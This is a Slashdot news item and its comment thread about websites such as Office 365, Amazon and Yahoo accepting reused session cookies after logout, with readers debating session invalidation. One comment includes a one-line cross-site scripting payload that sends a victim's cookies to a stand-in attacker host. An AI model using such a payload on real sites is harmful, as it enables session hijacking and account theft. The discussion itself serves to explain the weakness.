Forgot your password?
typodupeerror
Microsoft Security The Internet

Office 365, Amazon, Others Vulnerable To Exploit Microsoft Knew About In 2012 125

Posted by Soulskill
from the at-least-they're-consistent dept.
colinneagle writes "Ethical hacking professor Sam Bowne recently put a cookie re-use method to test on several major web services, finding that Office 365, Yahoo mail, Twitter, LinkedIn, Amazon, eBay, and WordPress all failed the security test. Both Amazon and eBay can be tied directly to your money via the method of payment you have on record. And, just for kicks, we tried it with Netflix. And it worked. Microsoft has apparently known that accounts can be hijacked since at least 2012 when The Hacker News reported the Hotmail and Outlook cookie-handling vulnerability, so Bowne was curious if Microsoft closed the hole or if stolen cookies could still be re-used. He claims he 'easily reproduced it using Chrome and the Edit This Cookie extension.'"
This discussion has been archived. No new comments can be posted.

Office 365, Amazon, Others Vulnerable To Exploit Microsoft Knew About In 2012

Comments Filter:
  • 2013 (Score:1, Interesting)

    by Anonymous Coward

    The year we ban non open sourced softwares as a global threat to humanity.

    • by Anonymous Coward

      Not an exploit, just business as usual.

      NSA praises Redmond for 'collaborative teamwork'
      There are red faces in Redmond after Edward Snowden released a new batch of documents from the NSA's Special Source Operations (SSO) division covering Microsoft's involvement in allowing backdoor access to its software to the NSA and others.

      Documents seen by The Guardian detail how the NSA became concerned when Microsoft started testing Outlook.com, and asked for access. In five months Microsoft and the FBI created a work

    • Re: (Score:2, Insightful)

      by hairyfeet (841228)

      Good lord are we REALLY gonna have to explain on every. damned. security. story. how having the source isn't magic? The "many eyes" myth is just that [tmrepository.com] and just because a program or website is FOSS doesn't make it more secure? [desktoplinux.com] hell watch how easy it is to blow "many eyes" out of the water, ready?

      Now we ALL know that Slashdot is one of the most FOSS loving websites there is,right? That while the global numbers of Linux users are around 0.9% we could easily hit double digits here, right? this is like Geeker hea

      • by raymorris (2726007) on Tuesday July 16, 2013 @10:17PM (#44305251)
        Has anyone studied the Firefox code, you ask. Yep, I have. I happen to be a security professional too. Have all those people who used Firefox as the basis for their browser studied the hell out of it? Yep.

        We know Microsoft is full of NSA backdoors. Has any government backdoor EVER been found in any FOSS, at any time. Nope.

        The insistence on continuing to believe the ridiculous out of fandom is rather curious. Certainly on some level you understand your "beliefs" are laughable, but you're just completely incapable of changing your thoughts, of learning.
        • Microsoft Bitlocker and Apple FileVault are the two most popular forms of disk encryption used. I'm pretty sure the NSA can access any Bitlocker drive. Without question they can access FileVault if you uploaded your key to Apple for safe keeping.

      • Re:2013 (Score:4, Insightful)

        by amiga3D (567632) on Tuesday July 16, 2013 @10:40PM (#44305355)

        You ignore one obvious truth. With FOSS no matter how unlikely someone will look at the code it actually is a possibility that it will happen. With proprietary software there is no chance in hell. None. Nada. Zip! All kinds of nastiness hidden away and everyone knows their little nasty secrets are secure behind closed source. Proprietary software guarantees this kind of stuff will without any doubt happen. FOSS gives you a chance at least.

        • by sjames (1099)

          That is a key point. There are things some people will do if they are sure nobody will see but they will not do if there is even one chance in thousands that someone will see and have evidence to back it up. It changes the risk/reward decision drastically.

        • Re:2013 (Score:4, Interesting)

          by oreaq (817314) on Wednesday July 17, 2013 @12:32AM (#44305727)

          The other big advantage with FOSS is that the change and commit logs are publicly accessible. If you introduce a backdoor in a FOSS product you can't hide behind a corporation. Your own name is tied to that backdoor. This is a strong disincentive; decades of social, economic, and criminal studies prove that.

      • by Anonymous Coward

        Hairy, this is just the same old repeatedly debunked drivel you've been posting for most of the decade. If you're not prepared to learn from the very sensible replies that you're being given, you'll keep making the same mistakes forever.

        Please try to update your knowledge - you seem intelligent at times, but this refusal to learn from evidence that is repeatedly presented to you is beginning to look willful.

      • by coofercat (719737)

        I think also you forget that when a flaw is found in FOSS, it really does get many-eyes on it, and in fact, if it's a well-used application, it'll probably get multiple proposed patches too. Further, you could patch your own copy if you desire - thus, your copy at least is indeed more secure as a result.

        It's true, comparatively very few people really spend time reading code looking for flaws. However, a reasonably well run FOSS project should get fixes out the door far faster than most of the commonly used

      • First you start out stating that having the source code gives you nothing, then eventually vaguely admit that having the source code can get you part way to a solution. by then people begin to suffer from too long didn't read, but even if they do make itthat fast, as I said, it's vague. Clever.
  • by jmauro (32523) on Tuesday July 16, 2013 @05:39PM (#44303501)

    It looks like they're exporting, deleting and then reimporting cookies before the cookies are set to expire. They can then get back into the site they just had access to. I fail to see how this "exploit" isn't actually the expected behavior of a properly functioning login tracked with a cookie.

    • by Antony T Curtis (89990) on Tuesday July 16, 2013 @05:44PM (#44303545) Homepage Journal

      It looks like they're exporting, deleting and then reimporting cookies before the cookies are set to expire. They can then get back into the site they just had access to. I fail to see how this "exploit" isn't actually the expected behavior of a properly functioning login tracked with a cookie.

      The complaint is that the expectation of "logging off" should invalidate existing cookies.

      • by rbayer (1911926)

        The complaint is that the expectation of "logging off" should invalidate existing cookies.

        Yes, but for what added benefit? If someone else has enough access privileges to get cookies from my browser session before I click logout, then they almost certainly have enough privileges to just install a key logger and steal my username/password directly. Same for if they're able to install a trojan browser that doesn't actually delete cookies when instructed to.

        • by guruevi (827432)

          Not necessarily. What if you simply get your media carrier stolen. You can't derive passwords from it, you can derive a history and cookies however which if you simply copy them to a similar system gives you straight back access to this.

          Also, if someone intercepts the cookies or does a HTTPS MITM redirect, the malicious site could simply ask for the cookies for said domain and then still forward you to the legitimate HTTPS domain.

        • I haven't checked IE9, but in IE 6, 7, and 8 a bit of JavaScript could steal your cookies. I'm sure it can be done in 9 as well, I just haven't had the need to see how.

          Other browsers have a slightly better history.
        • by gl4ss (559668)

          mitm? there's plenty of added benefit for providing a "invalidate all live tokens" logout button.

        • by Rich0 (548339)

          I don't think I can buy that argument. Virtually every decent authentication technology that utilizes tokens/cookies of some kind invalidates them upon logout. The whole point of using such session tokens is so that master credentials like passwords don't get cached all over the place. In many systems the master credential isn't even able to be cached without greatly compromising its security (as with two-factor authentication).

          Master credentials should never be cached, and it only logically follows that

    • Re: (Score:3, Interesting)

      by Anonymous Coward

      Yahoo mail auth cookies are stolen by ads on a regular basis and used to send spam as an authorized Yahoo user. It's been going on for a long time and still happens every day.

      • Re: (Score:3, Interesting)

        by Narcocide (102829)

        I don't know if this is true, but I get a LOT of spam from legit Yahoo servers, some of it occasionally from accounts of people I know who can't seem to keep their password secret, so that does lend a lot of credibility to this. I actually get quite a lot of spam (usually ~300 items per day to my main account alone) and with the exception of only Yahoo, HSBC and DNB, all of the rest has plainly come from spoofed/forged email servers.

      • by 0ld_d0g (923931)
        I find that really hard to believe without actual evidence. More specifically, if someone did find a way to read domain cookies from a different domain that set them, it would be big enough news that every single session cookie would be vulnerable to that attack.
      • by snadrus (930168)

        With a 15-year-old yahoo mail account, I can say that my account has sent spam many times. I've changed my password frequently & it doesn't matter if I have a unique, 8 digit password new every few months. And this is with all log-ins on stock latest Ubuntu + latest Chrome behind NAT (fairly safe).

    • by Anonymous Coward

      To steal a cookie in this manner pretty much requires you gain control of the user's machine. You could easily install keyloggers/etc. and steal their password. I don't see how this is a vulnerability. It's like saying "Gmail contains a vulnerability where if I stand over someone's shoulder and watch them type their password, I can gain access to their gmail account". Maybe there's something I'm missing but, seems that way to me.

      • Providing they aren't setting the httponly attribute of the cookie (or the victim is using a really old browser, you only need one XSS vector:

        <script>document.write("<img src='http://attackerwebsite.com/?cookiesteal=" + document.cookie + "' />");</script>
    • by d00m.wizard (1226664) on Tuesday July 16, 2013 @05:46PM (#44303585)
      Again, the issue is that the cookies don't seem to be tied to a unique session, and thus can be used by non-authorized parties if they are able to grab an instance of your session.
      • by Shados (741919)

        Of course they're not tied to a unique session...they're "remember me" cookies. They're supposed to still work after you kill the session. And by definition they have very long expiration. Now, you can keep track on the server of which cookies you handed out, and if someone invalidates one (logs off), keep track of that and refuse the cookie if its provided again, but its a pretty rare implementation as its not really considered a big problem (as long as the cookies are only passed around via https...if the

    • by Cramer (69040) on Tuesday July 16, 2013 @06:13PM (#44303855) Homepage

      Indeed. Except in this case the "logout" function simply instructs the browser to forget that cookie. Any machine that still has that cookie is still logged in. A logout should not only remove the cookie, but invalidate it's contents. Changing your password should invalidate every login immediately. Additionally, each "login" should create a different value.

      If (when) someone gets ahold of that cookie, they will have access to the account until the thing expires (if ever.) You have no way to get them out of your account; a logout won't do it, changing your password won't do it. (not that they knew your password in the first place)

    • Seemed a lot easier 14 years ago :)
    • by sjames (1099)

      When you log out, the cookie should become useless. It's not even that hard. Cookies generally represent sessions and the session is a context held in a database. When you log out, the session is destroyed or marked invalid so that the cookie does nothing.

      Given that, one cannot help but wonder if the cookie actually carries sensitive information rather than just being an opaque pointer to it.

      One also wonders if the cookie will still get you access after it is supposed to expire if you send it anyway.

  • by Anonymous Coward

    but you have to steal the cookies first?

    that's like saying, "hey, I can login using your account as long as I steal your password first."

  • If a user has a website remember their login via a cookie, and I make a copy of that cookie and put it into my browser, I will be logged in as that user? I am shocked...

    It doesn't take much to be considered an "hacking professor" now days, does it?

    • The issue here, is people are expecting their sessions to be tied to a unique cookie for authentication, and this isn't the case.
      • Not if the "remember me" option has been clicked, that's the point.
      • Re: (Score:2, Interesting)

        by Anonymous Coward

        You can have multiple sessions per cookie. This is how you are able to go back to a site when you've asked it to Remember your login and be logged in automatically. No one in their right mind is going to have a server keep a session open occupying resources for days at a time. Sessions are pretty temporary, whereas cookies for automatic login usually don't expire for a couple of weeks.

        The more likely issue is that the ID of the cookie should be tracked in a database, and logoff should invalidate it so th

        • I would say the logoff should invalidate the session cookie for that machine, and that it should also delete the remember-me cookie... beyond that, if the remember-me cookie/token is the same on different machines, it shouldn't be... I tend to login to google on 4 different computers, and 3 different mobile devices regularly... it's hard enough not having to re-login to one of them a day (with remember me), it's just me using these things... I'd hate to have one expire take them all out.
        • by Yaur (1069446)
          "Keeping a session open" consumes in the neighborhood of 20-40 bytes in a database... not significant by any stretch of the imagination. The way we do it is that the cookie maps to a session Id and "logout" removes the cookie and closes the session in the database.
    • by ackthpt (218170)

      If a user has a website remember their login via a cookie, and I make a copy of that cookie and put it into my browser, I will be logged in as that user? I am shocked...

      It doesn't take much to be considered an "hacking professor" now days, does it?

      Someone alert the Girl Scouts, this is an easier way to make money on Cookies.

    • by EkriirkE (1075937)
      I used to demo this all the time with open wifi traffic. Tis trivial. Cookies should use session IDs that expire, and tie to a browser's useragent (though this is easily spoofed, its just another layer). I used to also reference the IP somehow but this causes issues with mobile and DSL.
  • by Anonymous Coward

    That's a big deal only if the sites are using plain unencrypted html. In that case your cookies are visible to anyone on the same network (i.e. same coffee shop) so anyone can impersonate you.

  • And the person with the cookie can still use your account after you log off.

    So the "Log off" feature is the opposite of security--blocking the authorized user but not blocking the attacker.

    So if I login to GMail with my phone and my desktop, if I log off on my desktop it should kill my phone too? How the hell is that better?

    • Re:What? (Score:4, Interesting)

      by amorsen (7485) <benny+slashdot@amorsen.dk> on Tuesday July 16, 2013 @05:51PM (#44303651)

      So if I login to GMail with my phone and my desktop, if I log off on my desktop it should kill my phone too? How the hell is that better?

      If you log in to GMail twice, you get two different cookies. In a sane world, when you hit "logout", the specific cookie gets invalidated and you have to log in again on that device if you want back in. Hotmail (seemingly unlike GMail) does not exist in a sane world.

      • by gl4ss (559668)

        in a sane world you get option to do whichever logout you want.

        facebook offers "log out all devices" which invalidates all tokens.

    • Re:What? (Score:5, Insightful)

      by uglyduckling (103926) on Tuesday July 16, 2013 @05:54PM (#44303669) Homepage
      No. When you login, your session cookie should have an ID unique to that browser session. When you logout, it should cancel that ID at the server side, so even if the cookie persists it would be invalid. It seems like many websites are implementing this functionality by just deleting the session cookie when you logout. That's a problem.
      • I'd actually take it a small step farther and tie the cookie id on the server to the browser's useragent string... string changes (unlikely in an active session)... session/autologin are nuked as well... though not 100% fullproof, would prevent at least some casual stealing of cookies.
      • by 3247 (161794)

        That does not help if you don't log out. In this case, the stolen cookie remains valid until the thief lets it expire by no longer using it.

        The only way to make this attack impossible is to provide the user with an overview of all valid cookies and an option to log out some or all of them. As an alternative (or better: in addition), all remembered logins should expire after a reasonable time (e.g. a month) on the server side and without an option to renew them without entering the password.

    • Re:What? (Score:5, Funny)

      by gooman (709147) on Tuesday July 16, 2013 @06:03PM (#44303753) Journal

      And the person with the cookie can still use your account after you log off.

      So the "Log off" feature is the opposite of security--blocking the authorized user but not blocking the attacker.

      So if I login to GMail with my phone and my desktop, if I log off on my desktop it should kill my phone too? How the hell is that better?

      Please DO NOT log out of your Gmail account.

      It makes you more difficult to track.

      Sincerely,

      Your Government

      • by eWarz (610883)
        Considering that I am the king of my country...I don't think i'm spying on myself? :) Could be wrong though....
  • Can someone please come up with a "best practices" for this? Say "This is how you log a browser user in, this is how to check if a given browser is a logged in user, this is how to log out a user?" (That last one is important, no browser provides a logout button for Basic Authentication) Is storing everything server side in a session (referenced by a session cookie) the best way to do this? What about mobile users, is their IP static throughout a session or does their IP change if they change cells?

    The Aut [owasp.org]

    • by Anonymous Coward
      there simply is no single best answer. security in the user realm is a tradeoff between usability and safety. The most secure systems won't get used as they put to heavy a requirement on the user and vice versa. You basically when creating a system need to get a balance between good security and something users will actually use. Sometimes excessive security makes security even weaker rather than stronger, for example if you force users to change passwords too often or make them be too long they reuse passw
    • Three potential cookies...

      Automatic Login / Remember Me: Ideally only a token/key to a server-side record. Said record should probably also have your useragent string (for spoofing detection. This is used on the login screen to auto-log you in, if not already logged in, and create a new authenticated session value. If you explicitely logout, this should be deleted on the client and the server.

      Session Token/Cookie: A token used for a single session, you may want to also correlate this with the user'
    • > and make authentication someone else's problem with single-signon." Does anyone really know or have they merely amassed years of experience doing what they think is right?

      I should know. I spent 17 years keeping ahead of the bad guys and ahead of the competition, developing a security system used by tens of thousands of sites. The thing is, there are a lot of ways to screw up authentication, and a lot of ways to screw up authorization. Professionals making security products screwed it up all the ti
  • Is not that Windows have a vulnerability, from time to time a vulnerability is found in a lot of systems. The problem is that they didn't fixed, on pourpose [yahoo.com], so you can get hacked. That they held that bug since a year ago gives a hint on how safe you should feel with it.
  • by black3d (1648913) on Tuesday July 16, 2013 @06:06PM (#44303791)

    Is this entire article some kind of joke? If you have physical access to a machine and are able to "steal" the cookies from their logged in browser session, then on another machine replicate that browser session and utilize that same logged in cookie so that the site can't tell the difference between the machine you HAVE PHYSICAL LOGGED-IN ACCESS TO and the replicated session, so you're able to continue using the site? Isn't this behaviour "as intended"?
     
    This would only be a "flaw" if another site could remotely copy my cookies and continue my session 'as me'. (Well, actually, I have Java installed, so they probably can *cough*). Otherwise, it's exactly how a logged in cookie is meant to work. The only tacit connection to "Microsoft" seems to be that "Microsoft, like some other companies.. have websites on the internet."
     
    Actually, the fact that Microsoft requires re-authentication to make any account changes is actually a good thing. The article makes some excuse about "what's the use of that if they're already able to read the emails with the logged in cookie", to which I counter - YES, OR.. YOU KNOW.. READING THE EMAILS ON THE LOGGED IN SESSION YOU ALREADY HAVE ON THE ORIGINAL MACHINE IN FRONT OF YOU.

    • by gbkersey (649921)
      Not really a joke. One could use a Trojan to steal cookies... So you don't need physical access.
      • by Anonymous Coward

        Not really a joke. One could use a Trojan to steal cookies... So you don't need physical access.

        Is your post a joke? if they have Trojan's installed on your machine why would they bother just stealing your cookie when they could instead take your password and everything else.

      • by black3d (1648913)

        Right, but a trojan could just keylog me as well. Or read the passwords stored by my browser.

        Look, I do understand the issue, I just don't see it as an issue. This has pretty much been the "expected" and likely intended behavior server-side for years. As another example, take almost any commercial forum software. Login in and open up two threads in two tabs. Log out in one of the tabs - the other is still logged in, using the same cookie, and can keep browsing and posting on your logged in account.

        • by Monoman (8745)

          Trojans will probably keylog and steal cookies if it is worth it. Get rid of the cookie issue and that is one less thing to worry about.

          It is an issue. Just because you have accept this bad security design doesn't make it acceptable to everyone. I too notice which sites do and don't log me out of all tabs I have open in a browser. I like the ones that log me out just like I expect.

          This isn't an "attack" on MS alone. The OP header says "Office 365, Amazon, Others"

    • by black3d (1648913)

      PS. I do understand that the original issue is that the cookie isn't expiring server-side "as fast as they would like", but it will do. The complaint isn't that someone can come along and pick up a logged out browser session and use old cookies to "log in". No - the cookie has to be copied from the logged in session - in other words, already have access to the machine in a logged in state. If malware has already rooted your machine to this point, then trust me.. they've just keylogged your login, and don't

    • by khchung (462899)

      Is this entire article some kind of joke? If you have physical access to a machine and are able to "steal" the cookies from their logged in browser session, then on another machine replicate that browser session and utilize that same logged in cookie so that the site can't tell the difference between the machine you HAVE PHYSICAL LOGGED-IN ACCESS TO and the replicated session, so you're able to continue using the site? Isn't this behaviour "as intended"?

      Ever heard of Internet Cafe? Even seen public PC open for everybody to use in airports or other places?

      This vulnerability means, if you EVER logged in to these sites once in public PCs, and if that PC has been compromised, then the cookies that have been used in that PC could have been copied to somewhere else and use to access those sites as you. And you have no way to invalidate those cookies even if you have logged out from that site, EVEN IF YOU CHANGE YOUR PASSWORD immediately afterwards.

      The correct

      • by black3d (1648913)

        No, that's not what the vulnerability means. To be clear, the exploit is not that "old" cookies can be used to log in as someone else. It's that "in-use" cookies on the client machine can be replicated and used on another machine as long as the session hasn't been timed out on the server. Once I've logged out on the client, nobody can then access that machine and get a client cookie off it to continue the session. They have to have copied the cookie while my session was active on the client. (Please see the

        • by black3d (1648913)

          Actually, I think you understood the issue, but might have worded one sentence badly. Where you said "then the cookies that have been used in that PC could have been copied to somewhere else" I presume you meant "then the cookies that ARE BEING used in that PC could have been copied to somewhere else". The 'attack' has to happen while the session is in-use. Then you can log out and they can still continue using the session with the stolen cookie.

          However, as mentioned, the machine already has to be c

          • On wordpress, even if you log out from the site, you can still re-use the cookies and are automatically logged back in.

    • by Spykk (823586) on Tuesday July 16, 2013 @09:59PM (#44305173)
      There aren't many situations where this vulnerability is relevant, but here is one:

      You are logged into your Office 365 account in a coffee shop with unencrypted wifi. You happen to glance at another patrons computer only to realize that he has hijacked your session by sniffing the unencrypted session cookie that you are sending to the server every time you load a page! You quickly hit the logout button expecting your session to be invalidated, but the logout button only deleted the cookie local to your device. The guy who hijacked your session is still logged in and proceeds to send an email to your boss calling him a "nub".

      Had Microsoft's service invalidated your session token on the server when you hit logout this disaster could have been avoided.
      • by black3d (1648913)

        Right you are - and I commented in a few other replies that really for this to be exploited there needs to be another security flaw already in play. To me (at least) it seems somewhat pedantic to blame the website (whether it be Microsoft, which seemed to be largely singled out in the summary and accompanying article despite the other huge names mentioned - really, the vast majority of sites in the world have this "issue") when it's almost solely a secondary security issue. It's like leaving your garage doo

      • This isn't a Microsoft specific problem. The fact that it works on Office 360 is Microsoft's problem, but the fact that other (read "non-microsoft") websites are not handling their cookies in a more secure manner is not a Microsoft problem.
    • by grcumb (781340)

      Is this entire article some kind of joke? If you have physical access to a machine and are able to "steal" the cookies from their logged in browser session, then on another machine replicate that browser session and utilize that same logged in cookie so that the site can't tell the difference between the machine you HAVE PHYSICAL LOGGED-IN ACCESS TO and the replicated session, so you're able to continue using the site? Isn't this behaviour "as intended"? This would only be a "flaw" if another site could remotely copy my cookies and continue my session 'as me'. (Well, actually, I have Java installed, so they probably can *cough*). Otherwise, it's exactly how a logged in cookie is meant to work. The only tacit connection to "Microsoft" seems to be that "Microsoft, like some other companies.. have websites on the internet."

      Well, for services sending clear, unencrypted HTTP traffic, local access isn't necessary. The data interception could be some random Joe or Jane sitting at the same Starbucks as you. Or it could be your friendly neighbourhood ISP, or your telco, or your government.

      So yeah, knowing about it and not working out a fix is a problem. It's evidence that, contrary to advertising claims, Microsoft (and others) are not really taking your privacy as seriously as they should.

      • by gl4ss (559668)

        outlook is https.

        the real problem is just that logging out doesn't invalidate the cookies server side.

  • Both http and mixed http/https site with no issues. Once user is logged out, cookies don't work any more.

  • If I understand correctly, session cookies have no server-side expiration. If someone manage to steal such a cookie, for instanc uwing a spyware, that person gets access to the account forever.

    Handling session expiration seems an easy thing to do, so why isn't it done here? I wonder if cloud infrastructure is not a problem here: with a highly distributed setup, it may not be trivial to make all nodes aware that a session expired

  • I dislike Microsoft as much as the next person, but how on earth is it Microsoft's fault that all these non-Microsoft sites do not invalidate the security token inside the session cookie when receiving a "Log out" command? All I can infer is that a number of Microsoft services (hotmail, outlook.com, office 365) were vulnerable in 2012, Microsoft was notified of it, and (if I interpret TFA correctly) didn't fix it. Is it now Microsoft's job to start probing other people's websites (Twitter, LinkedIn, Amazon,
  • The reality is that most of this stuff was and is fine so long as it remains on private systems. A hundred million computers scattered all over the planet are a lot harder to target then a few centralized datacenters.

    MS office has had issues with security for ages. But all of it was controllable because you could just "not" download viruses. Or "not" horribly infect yourself with malware. But when its all on the cloud that isn't an option anymore. The hackers have ONE target and when they penetrate it... th

  • This type of cookie behavior is not at the OS or even web server level. Microsoft has nothing to do with this. This type of interaction will be at the application level and up to the individual websites to handle. Its been widely known that many sites have not bothered to secure their cookies in this way. But this isn't something you can blame on Microsoft.
  • This shouldn't surprise anyone. Microsoft has never bothered to fix the flaw in Outlook where opening attachments directly from an email rather than saving them first will eventually fill a temp directory and prevent you from opening any more attachments. This has been in existence since Outlook came out.

    Once the number of temp files reaches about 100 you're screwed until you root through the system and find the directory and clear it.

    The issue, its symptoms and recommendations:

    http://www.howto-outlook.co [howto-outlook.com]

We warn the reader in advance that the proof presented here depends on a clever but highly unmotivated trick. -- Howard Anton, "Elementary Linear Algebra"

Working...